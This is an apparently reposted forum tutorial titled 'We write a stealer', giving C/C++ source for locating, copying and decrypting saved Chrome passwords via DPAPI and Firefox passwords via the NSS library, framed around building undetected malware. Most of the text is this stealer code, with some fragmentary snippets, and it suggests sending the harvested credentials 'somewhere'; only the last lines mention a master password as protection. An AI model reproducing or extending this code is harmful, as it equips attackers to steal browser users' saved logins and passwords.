• Report Links
    We do not store any files or images on our server. XenPaste only index and link to content provided by other non-affiliated sites. If your copyrighted material has been posted on XenPaste or if hyperlinks to your copyrighted material are returned through our search engine and you want this material removed, you must contact the owners of such sites where the files and images are stored.

We write a stealer. How to get your hands on Chrome and Firefox passwords.


Well-known member
Jul 12, 2021
Reaction score
The content of the article
  • 1. What will the antivirus say?
  • 2. Chrome
  • 3. Firefox
  • 4. Network Security Services (NSS)
  • 5. Conclusion

So, browsers based on Chrome or Firefox store usernames and passwords encrypted in a SQLite database. This DBMS is compact and distributed free of charge under a free license. The same as the browsers we are considering: all their code is open and well documented, which will undoubtedly help us.
The example of the styling module, which I will provide in the article, will actively use CRT and other third-party libraries and dependencies, such as sqlite.h. If you want compact code without dependencies, you have to rework it a little, get rid of some functions and tune the compiler properly.

What will the antivirus say?
When advertising their products, virus writers often draw the attention of potential buyers to the fact that at the moment their stealer is not being "fired" by an antivirus.
Here you need to understand that all modern and more or less serious viruses and Trojans have a modular structure, each module in which is responsible for something different: one module collects passwords, the second prevents debugging and emulation, the third determines the fact of working in a virtual machine, the fourth carries out obfuscation of WinAPI calls, the fifth deals with the firewall built into the OS.
So, to judge whether a certain method is "fired" by an antivirus or not, you can only if we are talking about a complete "combat" application, and not by a separate module.

Let's start with Chrome. First, let's get a file that stores user accounts and passwords. On Windows, it is located at this address:
C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data

To perform any manipulations with this file, you need to either kill all browser processes, which will catch your eye, or copy the database file somewhere and then start working with it.

Let's write a function that gets the path to the Chrome password database. As an argument, it will be passed an array of characters with the result of its operation (that is, the array will contain the path to the Chrome password file).

#define CHROME_DB_PATH  "\\Google\\Chrome\\User Data\\Default\\Login Data"

bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    memset(db_loc, 0, MAX_PATH);
    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
        return 0;

    if (browser_family == 0) {
        lstrcat(db_loc, TEXT(location));
        return 1;

Function call:

char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);

Let me explain briefly what is going on here. We write this function straight away with future expansion in mind. One of its arguments is a field browser_family, it will signal the family of browsers we are getting the database from (that is, browsers based on Chrome or Firefox).

If the condition browser_family == 0is met, then we get the browser password database based on Chrome, if browser_family == 1- Firefox. The identifier CHROME_DB_PATHpoints to the Chrome password database. Next, we get the path to the base using the function SHGetFolderPath, passing it a CSIDLvalue as an argument CSIDL_LOCAL_APPDATA, which means:

#define CSIDL_LOCAL_APPDATA 0x001c // \Local Settings\Applicaiton Data (non roaming)

This feature is SHGetFolderPathdeprecated and Microsoft recommends using it instead SHGetKnownFolderPath. The problem is that support for this feature starts with Windows Vista, so I used its older counterpart to maintain backward compatibility. Here is its prototype:

HRESULT SHGetFolderPath(    
    HWND hwndOwner,
    int nFolder,
    HANDLE hToken,
    DWORD dwFlags,
    LPTSTR pszPath

After that, the function lstrcatcombines the result of the work SHGetFolderPathwith the identifier CHROME_DB_PATH.

The database of passwords has been received, now we are starting to work with it. As I already said, this is a SQLite database, it is convenient to work with it through the SQLite API, which are connected with the sqlite3.h header file. Let's copy the database file so as not to occupy it and interfere with the browser.

int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
    // return 0;

Now we connect to the database with the command sqlite3_open_v2. Her prototype:

int sqlite3_open_v2(
const char *filename, /* Database filename (UTF-8) */
sqlite3 **ppDb, /* OUT: SQLite db handle */
int flags, /* Flags */
const char *zVfs /* Name of VFS module to use */

The first argument is our database; connection information is returned in the second argument, followed by the opening flags, and the fourth argument specifies the operating system interface that this connection to the database should use, in our case it is not needed. If this function works correctly, a value is returned SQLITE_OK, otherwise an error code is returned.
sqlite3 *sql_browser_db = NULL;

status = sqlite3_open_v2(TEMP_DB_PATH,
if(status != SQLITE_OK) {

Please note: if the function is incorrectly worked out, we still need to close the connection to the database and delete its copy on our own.
Now we begin to directly process the data in the database. To do this, we will use the function sqlite3_exec().

status = sqlite3_exec(sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
if (status != SQLITE_OK)
return 0;

This function has a prototype like this:

int sqlite3_exec(
sqlite3*, /* An open database */
const char *sql, /* SQL to be evaluated */
int (*callback)(void*,int,char**,char**), /* Callback */
void *, /* 1st argument to callback */
char **errmsg /* Error msg written here */

The first argument is our password database, the second is the SQL command that pulls out the file URL, login, password and username, the third argument is the callback function that will decrypt the passwords, the fourth is passed to our callback function, but the fifth argument reports an error.

Let's take a closer look at the callback function that decrypts passwords. It will be applied to each row in our query selection SELECT. Its prototype is int (*callback)(void*,int,char**,char**), but we will not need all the arguments, although they must be declared. Let's name the function itself crack_chrome_db, start writing and declaring the necessary variables:

int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {
DATA_BLOB data_decrypt, data_encrypt;
sqlite3 *in_db = (sqlite3*)db_in;
BYTE *blob_data = NULL;
sqlite3_blob *sql_blob = NULL;
char *passwds = NULL;
while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );

In this cycle, we form a BLOB (that is, a large array of binary data). Next, we allocate memory, read the blob, and initialize the fields DATA_BLOB:
int sz_blob;
int result;

sz_blob = sqlite3_blob_bytes(sql_blob);
dt_blob = (BYTE *)malloc(sz_blob);

if (!dt_blob) {

data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;

And now let's proceed directly to decryption. The Chrome database is encrypted with the Data Protection Application Programming Interface (DPAPI). The essence of this mechanism is that data can only be decrypted under the account under which it was encrypted. In other words, you cannot steal the password database and then decrypt it on your computer. To decrypt the data, we need a function CryptUnprotectData.

DPAPI_IMP BOOL CryptUnprotectData(
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
DWORD dwFlags,

if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {

After that, we allocate memory and fill the array with passwdsdecrypted data.

passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset(passwds, 0, data_decrypt.cbData);

int xi = 0;
while (xi < data_decrypt.cbData) {
passwds[xi] = (char)data_decrypt.pbData[xi];

Actually, that's all! It passwdswill then contain user accounts and URL. And what to do with this information - display it on the screen or save it to a file and send it somewhere - is up to you.

Moving on to Firefox. It will be a little tricky, but we can handle it anyway!

First, let's get the path to the password database. Remember get_browser_pathwe passed a parameter in our generic function browser_family? In the case of Chrome, it was equal to zero, and for Firefox, we set it to 1.
bool get_browser_path(char * db_loc, int browser_family, const char * location) {
if (browser_family == 1) {
memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
// return 0;

In the case of Firefox, we cannot, as in Chrome, immediately specify the path to the user's folder. The point is that the name of the user profile folder is generated randomly. But this is a nonsense obstacle, because we know the beginning of the path ( \\Mozilla\\Firefox\\Profiles\\). It is enough to look for the “folder” object in it and check for the presence of a file in it \\logins.json. "It is in this file that the data of usernames and passwords of interest to us is stored. Of course, in encrypted form. Let's implement all this in code.

lstrcat(db_loc, TEXT(location));

// Declare variables
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;

// Create a mask for searching with the FindFirstFile function
lstrcat((LPSTR)db_path, TEXT("*"));

// Look, we are interested in an object with the FILE_ATTRIBUTE_DIRECTORY attribute
HANDLE gotcha = FindFirstFile(db_path, &w_find_data);

while (FindNextFile(gotcha, &w_find_data) != 0){
    if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
        if (strlen(w_find_data.cFileName) > 2) {
            profileName = w_find_data.cFileName;
// Remove the asterisk :)
db_loc [strlen (db_loc) - 1] = '\ 0';

lstrcat(db_loc, profileName);

// Finally, we get the path we need
lstrcat(db_loc, "\\logins.json");

return 1;

At the very end, the variable db_locthat we passed as an argument to our function contains the full path to the file logins.json, and the function returns 1, signaling that it worked correctly.

Now we will get the handle of the password file and allocate memory for the data. To get the handle, we use the function CreateFile, as advised by MSDN.

DWORD read_bytes = 8192;
DWORD lp_read_bytes;

char *buffer = (char *)malloc(read_bytes);
HANDLE db_file_login = CreateFileA(original_db_location,

ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);

Everything is ready, but in the case of Firefox, everything will not be as simple as with Chrome - we cannot simply get the data we need with a regular SELECT query, and encryption is not limited to a single WinAPI function.

Network Security Services (NSS)
The Firefox browser actively uses the Network Security Services functions to implement encryption of its base. These functions are located in the dynamic library, which is located at C:\Program Files\Mozilla Firefox\nss3.dll.

We will have to get all the functions we are interested in from this DLL. This can be done in the standard way, with the help of LoadLibrary\GetProcAdress. The code is monotonous and large, so I'll just list the functions we need:
  • NSS_Init;
  • PL_Base64Decode;
  • PK11SDR_Decrypt;
  • PK11_Authenticate;
  • PK11_GetInternalKeySlot;
  • PK11_FreeSlot...

These are functions for initializing the NSS engine and decrypting data. Let's write a decryption function, it's small. I'll add comments to make it clear.

char * data_uncrypt(std::string pass_str) {
// Declare variables
SECItem crypt;
SECItem decrypt;
PK11SlotInfo *slot_info;

// Allocate memory for our data
char * char_dest = (char *) malloc (8192);
memset (char_dest, NULL, 8192);
crypt.data = (unsigned char *)malloc(8192);
crypt.len = 8192;
memset(crypt.data, NULL, 8192);

// Directly decryption by NSS functions
PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);
memcpy(crypt.data, char_dest, 8192);
slot_info = PK11_GetInternalKeySlot();
PK11_Authenticate(slot_info, TRUE, NULL);
PK11SDR_Decrypt(&crypt, &decrypt, NULL);
PK11_FreeSlot (slot_info);

// Allocate memory for decrypted data
char *value = (char *)malloc(decrypt.len);
value[decrypt.len] = 0;
memcpy(value, decrypt.data, decrypt.len);

return value;

Now all that remains is to parse the logins.json file and apply our decryption function. For the sake of brevity, I'll be using regular expressions and their capabilities in C ++ 11.

string decode_data = buffer;

// Define regular lines for sites, logins and passwords
regex user("\"encryptedUsername\":\"([^\"]+)\"");
regex passw("\"encryptedPassword\":\"([^\"]+)\"");
regex host("\"hostname\":\"([^\"]+)\"");

// Declare a variable and an iterator
smatch smch;
string::const_iterator pars(decode_data.cbegin());

// Parsing with regex_search, decrypting our data
// using the data_uncrypt function and displaying the decrypted data on the screen
do {
printf("Site\t: %s", smch.str(1).c_str());
regex_search(pars, decode_data.cend(), smch, user);
printf("Login: %s", data_uncrypt(smch.str(1)));

regex_search(pars, decode_data.cend(), smch, passw);
printf("Pass: %s",data_uncrypt( smch.str(1)));

pars += smch.position() + smch.length();

} while (regex_search(pars, decode_data.cend(), smch, host));

We figured out how passwords are stored in different browsers, and learned what to do to extract them. Is it possible to protect against such methods of recovering saved passwords? Yes, sure. If you set a master password in the browser, then it will act as a cryptographic salt to decrypt the password database. It will be impossible to recover the data without her knowledge.